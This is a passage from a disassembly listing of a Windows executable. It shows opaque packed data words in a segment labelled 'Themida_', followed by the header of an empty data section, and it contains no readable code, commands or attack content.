		dd 0FE5374B2h, 0FD3AB09h, 382h,	0C68B6600h, 0EE8F9h, 974F0000h
		dd 2AB9DB21h, 9A95D961h, 820DA1Ah, 58DE8A53h, 8FB9665Fh
		dd 19850FF4h, 0E8000000h, 0Eh, 0D21F5C18h, 81BEE0C6h, 0E743F1Ah
		dd 0DAB87C49h, 5B0FD32Fh, 198C0Fh, 14E90000h, 9A000000h
		dd 0FEAA87FCh, 0F7C78002h, 33C57F02h, 0BA60CB0Ch, 0E93BE6CAh
		dd 5, 0D9B63761h, 0CA81660Ch, 860F98BAh, 3, 66C6B70Fh
		dd 39DA81h, 6EADE781h, 0B70F2137h, 880FC1h, 66000000h
		dd 0D8D9D881h, 0FF78B66h, 8B66F8B7h, 5D1FBFCAh,	0C2810841h
		dd 2EF216E5h, 0E98166F5h, 0C38BD517h, 66D8EA80h, 0F93F5CB8h
		dd 16B429B7h, 4E5C51BEh, 0BF0F5045h, 0FE85AD9h,	0F0000000h
		dd 7479257Bh, 5CD6C10h,	0B35FDB0Fh, 0B70F9ADCh,	0BB665EFFh
		dd 9E9257Bh, 0B000000h,	340A06B2h, 0F88F75F0h, 60F6B70Fh
		dd 0DEEE5DBEh, 0CB81662Ch, 66619AF6h, 0EE9CF8Bh, 0DD000000h
		dd 0EA838A46h, 154BDE59h, 82CBA693h, 8BC88AD9h,	0F5DE8BDEh
		dd 0B70FC38Bh, 10E9F7h,	0B12E0000h, 0A7FB5C94h,	0F0622C37h
		dd 0C7FF9D13h, 0DE9479Ch, 0E2000000h, 0D73CA4E3h, 810D02ADh
		dd 5461BF4Fh, 5E8F8h, 99420000h, 5171BFDFh, 0A5D08166h
		dd 0E9585BEEh, 0Bh, 0BCACD8CFh,	141E2FCEh, 0FE902B1h, 586h
		dd 0F4A3B800h, 605753E3h, 4858BA66h, 61DEBF0Fh,	13E958h
		dd 0DBED0000h, 7EED3E5h, 0C060914Eh, 6276675Ch,	0FD1C3EA2h
		dd 0D1816668h, 8BF827ABh, 0F1DF81C7h, 0F5D5755h, 38Ch
		dd 83F48000h, 53DFBF0Fh, 0D68B6659h, 0AAD08152h, 5F58244Fh
		dd 0D080C5B5h, 0F9B70FE1h, 10E9h, 19AB1F00h, 0D16E5324h
		dd 6B3A1929h, 64F7E94Dh, 17840FF9h, 0E9000000h,	12h, 7801CEF6h
		dd 1BD70ABBh, 0BA3E9889h, 30C7B338h, 10E9A8B5h,	0CD000000h
		dd 0D500A5Ah, 0CF386657h, 3186FD1Ah, 8ACE0EB3h,	0FFBF0FF8h
		dd 12E9h, 0BC5DA600h, 6CB2A909h, 0E04DC077h, 256C08BFh
		dd 0F8F7A84h, 0F38BCBBFh, 14E9h, 0F3053900h, 0DEF5DE7Bh
		dd 0CE21E0CFh, 0A59DD17Ah, 3BAB119Dh, 0D18B60CEh, 3820Fh
		dd 0B70F0000h, 816661FFh, 8063E2DAh, 8B66EDEBh,	0B70FF5D8h
		dd 0BE6660CEh, 8B61F3C6h, 78D881F7h, 0E831BDF2h, 13h, 0A02A9E2Fh
		dd 0BCEE264Ah, 0ED1942B0h, 9BEC8CDCh, 0B5C776B2h, 0BF665B98h
		dd 0FFC91BDh, 0B866CBBFh, 850F4706h, 5,	0D3F08166h, 5823B860h
		dd 0FE91EC4h, 1C000000h, 1487D669h, 3CBAFA88h, 6A54F06Dh
		dd 13E956D5h, 90000000h, 6FE43BA9h, 6462982Dh, 0A318C6BAh
		dd 0D26F437Dh, 81664EB6h, 66BEE9EFh, 0A75EB81h,	53D1B70Fh
		dd 5A1DE180h, 60B1C080h, 4E8ED681h, 4DBE15C9h, 61415C32h
		dd 7E8h, 0B920B100h, 0F6A116F1h, 5A29DE80h, 11E9h, 0EC7D4200h
		dd 0F3CBC1Ah, 2356DAA8h, 26E5C42Dh, 0EE96537h, 0D8000000h
		dd 216D9F46h, 497EF191h, 3C31990Ch, 97D981D2h, 660FFF64h
		dd 8B98F7B9h, 4850FC2h,	56000000h, 0F5A5F53h, 0C86h, 7E900h
		dd 1A2E0000h, 0B6ACA96h, 0FAD480B8h, 5BCE8B57h,	13E9h
		dd 8B27E600h, 0EEF8AC14h, 0EE00BC5Eh, 90840B76h, 65EB544Fh
		dd 38A0Fh, 0C9800000h, 0BE99Ah,	9C0C0000h, 1875FB9Ah, 0B23D7B28h
		dd 54D08198h, 8B737DBEh, 8CB257FAh, 840FF85Eh, 5, 0F3CA8166h
		dd 0FE9C6h, 557A0000h, 9CE8E95h, 3D35C1DBh, 78E8D59Ch
		dd 81666048h, 57733CD8h, 0EE38166h, 53615870h, 8B0Fh, 0E95F0000h
		dd 13h,	9C7597C3h, 0B17EA9ADh, 5DFE3F44h, 718D5B44h, 0E99BBDD0h
		dd 0Fh,	222BB820h, 36B51EDEh, 2CC23F38h, 0CC8DD63Fh, 8Fh dup(0CC6D12F0h)
		dd 37F389F0h, 1B9h dup(37F38BFBh), 3Ch dup(18ABAD5Eh)
		dd 434h	dup(2300EEC1h),	11Dh dup(4238B705h)
		db 5
byte_5C37E9	db 0B7h, 38h, 42h	; DATA XREF: Themida_:0054CF48o
		dd 95h dup(4238B705h)
		db 5
byte_5C3A41	db 0B7h, 38h		; DATA XREF: ___:off_43D1B0o
byte_5C3A43	db 42h			; DATA XREF: ___:off_43F2B0o
dword_5C3A44	dd 7 dup(4238B705h)	; DATA XREF: ___:off_43F2A8o
		db 5, 0B7h, 38h
		db 42h
		dd 58h dup(4238B705h), 0CC38B705h, 0B31h dup(0CCCCCCCCh)
		dd 0CCCCCCh, 1DCh dup(0)
Themida_	ends

; Section 5. (virtual address 001C7000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C7000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C7000h
		align 2000h
_idata2		ends


		end start